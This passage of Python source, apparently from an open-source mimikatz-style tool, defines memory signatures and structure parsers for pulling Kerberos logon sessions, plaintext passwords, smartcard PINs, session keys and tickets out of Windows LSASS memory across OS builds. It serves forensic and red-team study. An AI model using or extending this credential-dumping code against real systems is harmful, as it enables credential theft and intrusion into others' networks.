160 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 | |
161 | ||
162 | ####DOUBLE CHECK THE STRUCTURES BELOW THIS LINE!!!! | |
163 | #### kerbHelper[N] -> KerberosReferences... {-15,7}}, here N= 7 | |
164 | ||
165 | elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: | |
166 | template.signature = b'\x56\x8b\x30\x50\x57' | |
167 | template.first_entry_offset = -15 | |
168 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_X86 | |
169 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
170 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
171 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
172 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
173 | ||
174 | ||
175 | elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: | |
176 | template.signature = b'\x56\x8b\x30\x50\x57' | |
177 | template.first_entry_offset = -15 | |
178 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86 | |
179 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 | |
180 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
181 | template.hash_password_struct = KERB_HASHPASSWORD_6_1607 | |
182 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
183 | ||
184 | ||
185 | elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber: | |
186 | template.signature = b'\x56\x8b\x30\x50\x53' | |
187 | template.first_entry_offset = -15 | |
188 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86 | |
189 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 | |
190 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
191 | template.hash_password_struct = KERB_HASHPASSWORD_6_1607 | |
192 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
193 | ||
194 | ||
195 | else: | |
196 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) | |
197 | ||
198 | ||
199 | return template | |
200 | ||
201 | class PKERB_SMARTCARD_CSP_INFO_5(POINTER): | |
202 | def __init__(self, reader): | |
203 | super().__init__(reader, KERB_SMARTCARD_CSP_INFO_5) | |
204 | ||
205 | ||
206 | class KERB_SMARTCARD_CSP_INFO_5: | |
207 | def __init__(self, reader, size): | |
208 | pos = reader.tell() | |
209 | #self.dwCspInfoLen = DWORD(reader).value | |
210 | self.ContextInformation = PVOID(reader).value | |
211 | self.nCardNameOffset = ULONG(reader).value | |
212 | self.nReaderNameOffset = ULONG(reader).value | |
213 | self.nContainerNameOffset = ULONG(reader).value | |
214 | self.nCSPNameOffset = ULONG(reader).value | |
215 | diff = reader.tell() - pos | |
216 | data = reader.read(size - diff + 4) | |
217 | self.bBuffer = io.BytesIO(data) | |
218 | ||
219 | def read_wcharnull(self, buffer, tpos): | |
220 | pos = buffer.tell() | |
221 | buffer.seek(tpos, 0) | |
222 | data = b'' | |
223 | i=0 | |
224 | nc = 0 | |
225 | while i < 255: | |
226 | if nc == 3: | |
227 | break | |
228 | c = buffer.read(1) | |
229 | if c == b'\x00': | |
230 | nc += 1 | |
231 | else: | |
232 | nc = 0 | |
233 | data += c | |
234 | i += 1 | |
235 | buffer.seek(pos, 0) | |
236 | return data.decode('utf-16-le').replace('\x00', '') | |
237 | ||
238 | def get_infos(self): | |
239 | t = {} | |
240 | t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) | |
241 | t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) | |
242 | t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) | |
243 | t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) | |
244 | ||
245 | return t | |
246 | ||
247 | class PKERB_SMARTCARD_CSP_INFO(POINTER): | |
248 | def __init__(self, reader): | |
249 | super().__init__(reader, KERB_SMARTCARD_CSP_INFO) | |
250 | ||
251 | ||
252 | class KERB_SMARTCARD_CSP_INFO: | |
253 | def __init__(self, reader, size): | |
254 | pos = reader.tell() | |
255 | #self.dwCspInfoLen = DWORD(reader).value | |
256 | self.MessageType = DWORD(reader).value | |
257 | self.ContextInformation = PVOID(reader).value #U | |
258 | self.SpaceHolderForWow64 = ULONG64(reader).value #U | |
259 | self.flags = DWORD(reader).value | |
260 | self.KeySpec = DWORD(reader).value | |
261 | self.nCardNameOffset = ULONG(reader).value * 2 | |
262 | self.nReaderNameOffset = ULONG(reader).value * 2 | |
263 | self.nContainerNameOffset = ULONG(reader).value * 2 | |
264 | self.nCSPNameOffset = ULONG(reader).value * 2 | |
265 | diff = reader.tell() - pos | |
266 | data = reader.read(size - diff + 4) | |
267 | self.bBuffer = io.BytesIO(data) | |
268 | ||
269 | def read_wcharnull(self, buffer, tpos): | |
270 | pos = buffer.tell() | |
271 | buffer.seek(tpos, 0) | |
272 | data = b'' | |
273 | i=0 | |
274 | nc = 0 | |
275 | while i < 255: | |
276 | if nc == 3: | |
277 | break | |
278 | c = buffer.read(1) | |
279 | if c == b'\x00': | |
280 | nc += 1 | |
281 | else: | |
282 | nc = 0 | |
283 | data += c | |
284 | i += 1 | |
285 | buffer.seek(pos, 0) | |
286 | return data.decode('utf-16-le').replace('\x00', '') | |
287 | ||
288 | def get_infos(self): | |
289 | t = {} | |
290 | t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) | |
291 | t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) | |
292 | t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) | |
293 | t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) | |
294 | ||
295 | return t | |
296 | ||
297 | class PKIWI_KERBEROS_CSP_INFOS_5(POINTER): | |
298 | def __init__(self, reader): | |
299 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_5) | |
300 | ||
301 | class KIWI_KERBEROS_CSP_INFOS_5: | |
302 | def __init__(self, reader): | |
303 | self.PinCode = LSA_UNICODE_STRING(reader) | |
304 | self.unk0 = PVOID(reader) | |
305 | self.unk1 = PVOID(reader) | |
306 | self.CertificateInfos = PVOID(reader) | |
307 | self.unkData = PVOID(reader) # // 0 = CspData | |
308 | self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value | |
309 | self.CspDataLength = DWORD(reader).value | |
310 | self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength) | |
311 | ||
312 | class PKIWI_KERBEROS_CSP_INFOS_60(POINTER): | |
313 | def __init__(self, reader): | |
314 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_60) | |
315 | ||
316 | ||
317 | class KIWI_KERBEROS_CSP_INFOS_60: | |
318 | def __init__(self, reader): | |
319 | self.PinCode = LSA_UNICODE_STRING(reader) | |
320 | self.unk0 = PVOID(reader).value | |
321 | self.unk1 = PVOID(reader).value | |
322 | self.CertificateInfos = PVOID(reader).value | |
323 | self.unkData = PVOID(reader).value # // 0 = CspData | |
324 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value | |
325 | self.unkFlags = DWORD(reader).value #// 0x141(reader).value | |
326 | self.CspDataLength = DWORD(reader).value | |
327 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
328 | ||
329 | class PKIWI_KERBEROS_CSP_INFOS_62(POINTER): | |
330 | def __init__(self, reader): | |
331 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_62) | |
332 | ||
333 | ||
334 | class KIWI_KERBEROS_CSP_INFOS_62: | |
335 | def __init__(self, reader): | |
336 | self.PinCode = LSA_UNICODE_STRING(reader) | |
337 | self.unk0 = PVOID(reader).value | |
338 | self.unk1 = PVOID(reader).value | |
339 | self.CertificateInfos = PVOID(reader).value | |
340 | self.unk2 = PVOID(reader).value | |
341 | self.unkData = PVOID(reader).value #// 0 = CspData(reader).value | |
342 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value | |
343 | self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61) | |
344 | self.CspDataLength = DWORD(reader).value | |
345 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
346 | ||
347 | class PKIWI_KERBEROS_CSP_INFOS_10(POINTER): | |
348 | def __init__(self, reader): | |
349 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_10) | |
350 | ||
351 | class KIWI_KERBEROS_CSP_INFOS_10: | |
352 | def __init__(self, reader): | |
353 | self.PinCode = LSA_UNICODE_STRING(reader) | |
354 | self.unk0 = PVOID(reader).value | |
355 | self.unk1 = PVOID(reader).value | |
356 | self.CertificateInfos = PVOID(reader).value | |
357 | self.unk2 = PVOID(reader).value | |
358 | self.unkData = PVOID(reader).value #// 0 = CspData | |
359 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value | |
360 | self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value | |
361 | self.unk3 = PVOID(reader).value | |
362 | self.CspDataLength = DWORD(reader).value | |
363 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
364 | ||
365 | class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER): | |
366 | def __init__(self, reader): | |
367 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_51) | |
368 | ||
369 | class KIWI_KERBEROS_LOGON_SESSION_51: | |
370 | def __init__(self, reader): | |
371 | self.UsageCount = ULONG(reader).value | |
372 | self.unk0 = LIST_ENTRY(reader) | |
373 | self.unk1 = LIST_ENTRY(reader) | |
374 | self.unk2 = PVOID(reader).value | |
375 | self.unk3 = ULONG(reader).value # // filetime.1 ? | |
376 | self.unk4 = ULONG(reader).value #// filetime.2 ?(reader).value | |
377 | self.unk5 = PVOID(reader).value | |
378 | self.unk6 = PVOID(reader).value | |
379 | self.unk7 = PVOID(reader).value | |
380 | self.LocallyUniqueIdentifier = LUID(reader).value | |
381 | reader.align(8) | |
382 | #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value | |
383 | self.unk8 = FILETIME(reader).value | |
384 | self.unk9 = PVOID(reader).value | |
385 | self.unk10 = ULONG(reader).value # // filetime.1 ?(reader).value | |
386 | self.unk11 = ULONG(reader).value # // filetime.2 ?(reader).value | |
387 | self.unk12 = PVOID(reader).value | |
388 | self.unk13 = PVOID(reader).value | |
389 | self.unk14 = PVOID(reader).value | |
390 | self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) | |
391 | self.unk15 = ULONG(reader).value | |
392 | self.unk16 = ULONG(reader).value | |
393 | self.unk17 = ULONG(reader).value | |
394 | self.unk18 = ULONG(reader).value | |
395 | self.unk19 = PVOID(reader).value | |
396 | self.unk20 = PVOID(reader).value | |
397 | self.unk21 = PVOID(reader).value | |
398 | self.unk22 = PVOID(reader).value | |
399 | self.pKeyList = PVOID(reader) | |
400 | self.unk24 = PVOID(reader).value | |
401 | self.Tickets_1 = LIST_ENTRY(reader) | |
402 | self.Tickets_2 = LIST_ENTRY(reader) | |
403 | self.Tickets_3 = LIST_ENTRY(reader) | |
404 | self.SmartcardInfos = PVOID(reader) | |
405 | ||
406 | ||
407 | class PKIWI_KERBEROS_LOGON_SESSION(POINTER): | |
408 | def __init__(self, reader): | |
409 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION) | |
410 | ||
411 | class KIWI_KERBEROS_LOGON_SESSION: | |
412 | def __init__(self, reader): | |
413 | self.UsageCount = ULONG(reader).value | |
414 | reader.align() | |
415 | self.unk0 = LIST_ENTRY(reader) | |
416 | self.unk1 = PVOID(reader).value | |
417 | self.unk2 = ULONG(reader).value # // filetime.1 ? | |
418 | self.unk3 = ULONG(reader).value #// filetime.2 ?(reader).value | |
419 | self.unk4 = PVOID(reader).value | |
420 | self.unk5 = PVOID(reader).value | |
421 | self.unk6 = PVOID(reader).value | |
422 | self.LocallyUniqueIdentifier = LUID(reader).value | |
423 | #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value | |
424 | reader.align(8) | |
425 | self.unk7 = FILETIME(reader).value | |
426 | self.unk8 = PVOID(reader).value | |
427 | self.unk9 = ULONG(reader).value # // filetime.1 ?(reader).value | |
428 | self.unk10 = ULONG(reader).value # // filetime.2 ?(reader).value | |
429 | self.unk11 = PVOID(reader).value | |
430 | self.unk12 = PVOID(reader).value | |
431 | self.unk13 = PVOID(reader).value | |
432 | self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) | |
433 | self.unk14 = ULONG(reader).value | |
434 | self.unk15 = ULONG(reader).value | |
435 | self.unk16 = ULONG(reader).value | |
436 | self.unk17 = ULONG(reader).value | |
437 | self.unk18 = PVOID(reader).value | |
438 | self.unk19 = PVOID(reader).value | |
439 | self.unk20 = PVOID(reader).value | |
440 | self.unk21 = PVOID(reader).value | |
441 | self.pKeyList = PVOID(reader) | |
442 | self.unk23 = PVOID(reader).value | |
443 | reader.align() | |
444 | self.Tickets_1 = LIST_ENTRY(reader) | |
445 | self.unk24 = FILETIME(reader).value | |
446 | self.Tickets_2 = LIST_ENTRY(reader) | |
447 | self.unk25 = FILETIME(reader).value | |
448 | self.Tickets_3 = LIST_ENTRY(reader) | |
449 | self.unk26 = FILETIME(reader).value | |
450 | self.SmartcardInfos = PVOID(reader) | |
451 | ||
452 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER): | |
453 | def __init__(self, reader): | |
454 | super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL) | |
455 | ||
456 | ||
457 | class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL: | |
458 | def __init__(self, reader): | |
459 | self.UserName = LSA_UNICODE_STRING(reader) | |
460 | self.Domaine = LSA_UNICODE_STRING(reader) | |
461 | self.unk0 = PVOID(reader).value | |
462 | self.Password = LSA_UNICODE_STRING(reader) | |
463 | ||
464 | class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER): | |
465 | def __init__(self, reader): | |
466 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10) | |
467 | ||
468 | class KIWI_KERBEROS_LOGON_SESSION_10_X86: | |
469 | def __init__(self, reader): | |
470 | self.UsageCount = ULONG(reader).value | |
471 | reader.align() | |
472 | self.unk0 = LIST_ENTRY(reader) | |
473 | self.unk1 = PVOID(reader).value | |
474 | self.unk1b = ULONG(reader).value | |
475 | reader.align() | |
476 | self.unk2 = FILETIME(reader).value | |
477 | self.unk4 = PVOID(reader).value | |
478 | self.unk5 = PVOID(reader).value | |
479 | self.unk6 = PVOID(reader).value | |
480 | self.LocallyUniqueIdentifier = LUID(reader).value | |
481 | #print(hex(self.LocallyUniqueIdentifier)) | |
482 | #input('unk7\n' + hexdump(reader.peek(0x100))) | |
483 | reader.align() | |
484 | self.unk7 = FILETIME(reader).value | |
485 | self.unk8 = PVOID(reader).value | |
486 | self.unk8b = ULONG(reader).value | |
487 | reader.align() | |
488 | self.unk9 = FILETIME(reader).value | |
489 | self.unk11 = PVOID(reader).value | |
490 | self.unk12 = PVOID(reader).value | |
491 | self.unk13 = PVOID(reader).value | |
492 | reader.align(8) | |
493 | ||
494 | #input('credentials\n' + hexdump(reader.peek(0x100))) | |
495 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader) | |
496 | self.unk14 = ULONG(reader).value | |
497 | self.unk15 = ULONG(reader).value | |
498 | self.unk16 = ULONG(reader).value | |
499 | self.unk17 = ULONG(reader).value | |
500 | #//PVOID unk18 = (reader).value | |
501 | reader.align(8) | |
502 | self.unk19 = PVOID(reader).value | |
503 | self.unk20 = PVOID(reader).value | |
504 | self.unk21 = PVOID(reader).value | |
505 | self.unk22 = PVOID(reader).value | |
506 | self.unk23 = PVOID(reader).value | |
507 | self.unk24 = PVOID(reader).value | |
508 | self.unk25 = PVOID(reader).value | |
509 | ||
510 | self.pKeyList = PVOID(reader) | |
511 | self.unk26 = PVOID(reader).value | |
512 | #input('pKeyList\n' + hexdump(reader.peek(0x100))) | |
513 | reader.align() | |
514 | #input('Tickets_1\n' + hexdump(reader.peek(0x100))) | |
515 | self.Tickets_1 = LIST_ENTRY(reader) | |
516 | self.unk27 = FILETIME(reader).value | |
517 | self.Tickets_2 = LIST_ENTRY(reader) | |
518 | self.unk28 = FILETIME(reader).value | |
519 | self.Tickets_3 = LIST_ENTRY(reader) | |
520 | self.unk29 = FILETIME(reader).value | |
521 | self.SmartcardInfos = PVOID(reader) | |
522 | ||
523 | class KIWI_KERBEROS_LOGON_SESSION_10: | |
524 | def __init__(self, reader): | |
525 | self.UsageCount = ULONG(reader).value | |
526 | reader.align() | |
527 | self.unk0 = LIST_ENTRY(reader) | |
528 | self.unk1 = PVOID(reader).value | |
529 | self.unk1b = ULONG(reader).value | |
530 | reader.align() | |
531 | self.unk2 = FILETIME(reader).value | |
532 | self.unk4 = PVOID(reader).value | |
533 | self.unk5 = PVOID(reader).value | |
534 | self.unk6 = PVOID(reader).value | |
535 | self.LocallyUniqueIdentifier = LUID(reader).value | |
536 | self.unk7 = FILETIME(reader).value | |
537 | self.unk8 = PVOID(reader).value | |
538 | self.unk8b = ULONG(reader).value | |
539 | reader.align() | |
540 | self.unk9 = FILETIME(reader).value | |
541 | self.unk11 = PVOID(reader).value | |
542 | self.unk12 = PVOID(reader).value | |
543 | self.unk13 = PVOID(reader).value | |
544 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader) | |
545 | self.unk14 = ULONG(reader).value | |
546 | self.unk15 = ULONG(reader).value | |
547 | self.unk16 = ULONG(reader).value | |
548 | self.unk17 = ULONG(reader).value | |
549 | #self.unk18 = PVOID(reader).value | |
550 | self.unk19 = PVOID(reader).value | |
551 | self.unk20 = PVOID(reader).value | |
552 | self.unk21 = PVOID(reader).value | |
553 | self.unk22 = PVOID(reader).value | |
554 | self.unk23 = PVOID(reader).value | |
555 | self.unk24 = PVOID(reader).value | |
556 | self.unk25 = PVOID(reader).value | |
557 | self.pKeyList = PVOID(reader) | |
558 | self.unk26 = PVOID(reader).value | |
559 | self.Tickets_1 = LIST_ENTRY(reader) | |
560 | self.unk27 = FILETIME(reader).value | |
561 | self.Tickets_2 = LIST_ENTRY(reader) | |
562 | self.unk28 = FILETIME(reader).value | |
563 | self.Tickets_3 = LIST_ENTRY(reader) | |
564 | self.unk29 = FILETIME(reader).value | |
565 | self.SmartcardInfos = PVOID(reader) | |
566 | ||
567 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER): | |
568 | def __init__(self, reader): | |
569 | super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO) | |
570 | ||
571 | ||
572 | class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO: | |
573 | def __init__(self, reader): | |
574 | self.StructSize = DWORD(reader).value | |
575 | reader.align() | |
576 | self.isoBlob = PLSAISO_DATA_BLOB(reader) #POINTER!!!! #// aligned = | |
577 | ||
578 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER): | |
579 | def __init__(self, reader): | |
580 | super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) | |
581 | ||
582 | class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607: | |
583 | def __init__(self, reader): | |
584 | self.UserName = LSA_UNICODE_STRING(reader) | |
585 | self.Domaine = LSA_UNICODE_STRING(reader) | |
586 | self.unkFunction = PVOID(reader).value | |
587 | self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value | |
588 | reader.align() | |
589 | self.Password = LSA_UNICODE_STRING(reader) # union { | |
590 | self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader) | |
591 | ||
592 | class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER): | |
593 | def __init__(self, reader): | |
594 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10_1607) | |
595 | ||
596 | ||
597 | class KIWI_KERBEROS_LOGON_SESSION_10_1607: | |
598 | def __init__(self, reader): | |
599 | #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300))) | |
600 | self.UsageCount = ULONG(reader).value | |
601 | reader.align() | |
602 | self.unk0 = LIST_ENTRY(reader) | |
603 | self.unk1 = PVOID(reader).value | |
604 | self.unk1b = ULONG(reader).value | |
605 | reader.align() | |
606 | self.unk2 = FILETIME(reader).value | |
607 | self.unk4 = PVOID(reader).value | |
608 | self.unk5 = PVOID(reader).value | |
609 | self.unk6 = PVOID(reader).value | |
610 | self.LocallyUniqueIdentifier = LUID(reader).value | |
611 | self.unk7 = FILETIME(reader).value | |
612 | self.unk8 = PVOID(reader).value | |
613 | self.unk8b = ULONG(reader).value | |
614 | reader.align() | |
615 | self.unk9 = FILETIME(reader).value | |
616 | self.unk11 = PVOID(reader).value | |
617 | self.unk12 = PVOID(reader).value | |
618 | self.unk13 = PVOID(reader).value | |
619 | reader.align(8) | |
620 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader) | |
621 | self.unk14 = ULONG(reader).value | |
622 | self.unk15 = ULONG(reader).value | |
623 | self.unk16 = ULONG(reader).value | |
624 | self.unk17 = ULONG(reader).value | |
625 | self.unk18 = PVOID(reader).value | |
626 | self.unk19 = PVOID(reader).value | |
627 | self.unk20 = PVOID(reader).value | |
628 | self.unk21 = PVOID(reader).value | |
629 | self.unk22 = PVOID(reader).value | |
630 | self.unk23 = PVOID(reader).value | |
631 | #self.unk24 = PVOID(reader).value | |
632 | #self.unk25 = PVOID(reader).value | |
633 | reader.align() | |
634 | #reader.read(8+12) | |
635 | #input('pkeylist \n' + hexdump(reader.peek(0x50))) | |
636 | self.pKeyList = PVOID(reader) | |
637 | self.unk26 = PVOID(reader).value | |
638 | self.Tickets_1 = LIST_ENTRY(reader) | |
639 | self.unk27 = FILETIME(reader).value | |
640 | self.Tickets_2 = LIST_ENTRY(reader) | |
641 | self.unk28 = FILETIME(reader).value | |
642 | self.Tickets_3 = LIST_ENTRY(reader) | |
643 | self.unk29 = FILETIME(reader).value | |
644 | self.SmartcardInfos = PVOID(reader) | |
645 | ||
646 | ||
647 | class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86: | |
648 | def __init__(self, reader): | |
649 | #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300))) | |
650 | self.UsageCount = ULONG(reader).value | |
651 | reader.align() | |
652 | self.unk0 = LIST_ENTRY(reader) | |
653 | self.unk1 = PVOID(reader).value | |
654 | self.unk1b = ULONG(reader).value | |
655 | reader.align() | |
656 | self.unk2 = FILETIME(reader).value | |
657 | self.unk4 = PVOID(reader).value | |
658 | self.unk5 = PVOID(reader).value | |
659 | self.unk6 = PVOID(reader).value | |
660 | self.LocallyUniqueIdentifier = LUID(reader).value | |
661 | #input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier)) | |
662 | self.unk7 = FILETIME(reader).value | |
663 | self.unk8 = PVOID(reader).value | |
664 | self.unk8b = ULONG(reader).value | |
665 | reader.align() | |
666 | self.unk9 = FILETIME(reader).value | |
667 | self.unk11 = PVOID(reader).value | |
668 | self.unk12 = PVOID(reader).value | |
669 | self.unk13 = PVOID(reader).value | |
670 | self.unkAlign = ULONG(reader).value | |
671 | #input('credentials \n' + hexdump(reader.peek(0x200))) | |
672 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader) | |
673 | self.unk14 = ULONG(reader).value | |
674 | self.unk15 = ULONG(reader).value | |
675 | self.unk16 = ULONG(reader).value | |
676 | self.unk17 = ULONG(reader).value | |
677 | self.unk18 = PVOID(reader).value | |
678 | self.unk19 = PVOID(reader).value | |
679 | self.unk20 = PVOID(reader).value | |
680 | self.unk21 = PVOID(reader).value | |
681 | self.unk22 = PVOID(reader).value | |
682 | self.unk23 = PVOID(reader).value | |
683 | #self.unk24 = PVOID(reader).value | |
684 | #self.unk25 = PVOID(reader).value | |
685 | reader.align() | |
686 | ||
687 | self.pKeyList = PVOID(reader) | |
688 | self.unk26 = PVOID(reader).value | |
689 | #input('Tickets_1 \n' + hexdump(reader.peek(0x200))) | |
690 | self.Tickets_1 = LIST_ENTRY(reader) | |
691 | self.unk27 = FILETIME(reader).value | |
692 | self.Tickets_2 = LIST_ENTRY(reader) | |
693 | self.unk28 = FILETIME(reader).value | |
694 | self.Tickets_3 = LIST_ENTRY(reader) | |
695 | self.unk29 = FILETIME(reader).value | |
696 | self.SmartcardInfos = PVOID(reader) | |
697 | ||
698 | class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER): | |
699 | def __init__(self, reader): | |
700 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_51) | |
701 | ||
702 | ||
703 | class KIWI_KERBEROS_INTERNAL_TICKET_51: | |
704 | def __init__(self, reader): | |
705 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader) | |
706 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader) | |
707 | self.unk0 = PVOID(reader).value | |
708 | self.unk1 = PVOID(reader).value | |
709 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
710 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
711 | self.DomainName = LSA_UNICODE_STRING(reader) | |
712 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
713 | self.Description = LSA_UNICODE_STRING(reader) | |
714 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
715 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
716 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
717 | self.unk2 = ULONG(reader).value | |
718 | self.KeyType = ULONG(reader).value | |
719 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
720 | self.unk3 = PVOID(reader).value | |
721 | self.unk4 = PVOID(reader).value | |
722 | self.unk5 = PVOID(reader).value | |
723 | self.unk6 = PVOID(reader).value | |
724 | self.unk7 = PVOID(reader).value | |
725 | self.unk8 = PVOID(reader).value | |
726 | self.StartTime = FILETIME(reader).value | |
727 | self.EndTime = FILETIME(reader).value | |
728 | self.RenewUntil = FILETIME(reader).value | |
729 | self.unk9 = ULONG(reader).value | |
730 | self.unk10 = ULONG(reader).value | |
731 | self.domain = PCWSTR(reader).value | |
732 | self.unk11 = ULONG(reader).value | |
733 | self.strangeNames = PVOID(reader).value | |
734 | self.unk12 = ULONG(reader).value | |
735 | self.TicketEncType = ULONG(reader).value | |
736 | self.TicketKvno = ULONG(reader).value | |
737 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
738 | ||
739 | class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER): | |
740 | def __init__(self, reader): | |
741 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_52) | |
742 | ||
743 | ||
744 | class KIWI_KERBEROS_INTERNAL_TICKET_52: | |
745 | def __init__(self, reader): | |
746 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader) | |
747 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader) | |
748 | self.unk0 = PVOID(reader).value | |
749 | self.unk1 = PVOID(reader).value | |
750 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
751 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
752 | self.DomainName = LSA_UNICODE_STRING(reader) | |
753 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
754 | self.Description = LSA_UNICODE_STRING(reader) | |
755 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
756 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
757 | self.name0 = PVOID(reader).value | |
758 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
759 | self.unk2 = ULONG(reader).value | |
760 | self.KeyType = ULONG(reader).value | |
761 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
762 | self.unk3 = PVOID(reader).value | |
763 | self.unk4 = PVOID(reader).value | |
764 | self.unk5 = PVOID(reader).value | |
765 | self.StartTime = FILETIME(reader).value | |
766 | self.EndTime = FILETIME(reader).value | |
767 | self.RenewUntil = FILETIME(reader).value | |
768 | self.unk6 = ULONG(reader).value | |
769 | self.unk7 = ULONG(reader).value | |
770 | self.domain = PCWSTR(reader).value | |
771 | self.unk8 = ULONG(reader).value | |
772 | self.strangeNames = PVOID(reader).value | |
773 | self.unk9 = ULONG(reader).value | |
774 | self.TicketEncType = ULONG(reader).value | |
775 | self.TicketKvno = ULONG(reader).value | |
776 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
777 | ||
778 | class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER): | |
779 | def __init__(self, reader): | |
780 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_60) | |
781 | ||
782 | ||
783 | class KIWI_KERBEROS_INTERNAL_TICKET_60: | |
784 | def __init__(self, reader): | |
785 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader) | |
786 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader) | |
787 | self.unk0 = PVOID(reader).value | |
788 | self.unk1 = PVOID(reader).value | |
789 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
790 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
791 | self.DomainName = LSA_UNICODE_STRING(reader) | |
